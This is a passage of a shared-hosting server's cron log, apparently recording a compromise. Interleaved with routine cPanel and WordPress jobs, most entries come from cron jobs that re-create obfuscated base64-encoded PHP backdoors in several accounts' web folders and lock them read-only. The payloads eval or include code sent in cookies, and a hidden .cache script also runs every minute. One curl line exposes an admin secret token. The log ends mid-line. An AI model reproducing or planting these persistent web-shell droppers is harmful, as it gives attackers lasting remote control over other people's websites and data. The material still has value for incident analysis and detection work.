Apr 19 04:38:01 medusa CROND[9005]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:38:01 medusa CROND[9007]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:38:01 medusa CROND[9008]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:38:01 medusa CROND[9012]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:38:01 medusa CROND[9019]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:38:01 medusa CROND[9020]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:38:01 medusa CROND[9025]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:38:01 medusa CROND[9026]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:38:01 medusa CROND[9027]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:38:01 medusa CROND[9028]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 04:38:01 medusa CROND[9030]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:39:01 medusa CROND[636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:39:01 medusa CROND[637]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:39:01 medusa CROND[639]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 19 04:39:01 medusa CROND[640]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 04:39:01 medusa CROND[642]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:39:01 medusa CROND[644]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:39:01 medusa CROND[645]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:39:01 medusa CROND[646]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:39:01 medusa CROND[648]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:39:01 medusa CROND[650]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:39:01 medusa CROND[653]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:39:01 medusa CROND[655]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:39:01 medusa CROND[656]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 04:39:01 medusa CROND[659]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:40:01 medusa CROND[24817]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 04:40:01 medusa CROND[24842]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 04:40:01 medusa CROND[24843]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 04:40:02 medusa CROND[24873]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 04:40:02 medusa CROND[24943]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 04:40:02 medusa CROND[24951]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:40:02 medusa CROND[24950]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 04:40:02 medusa CROND[24952]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 04:40:02 medusa CROND[24960]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:40:02 medusa CROND[24962]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 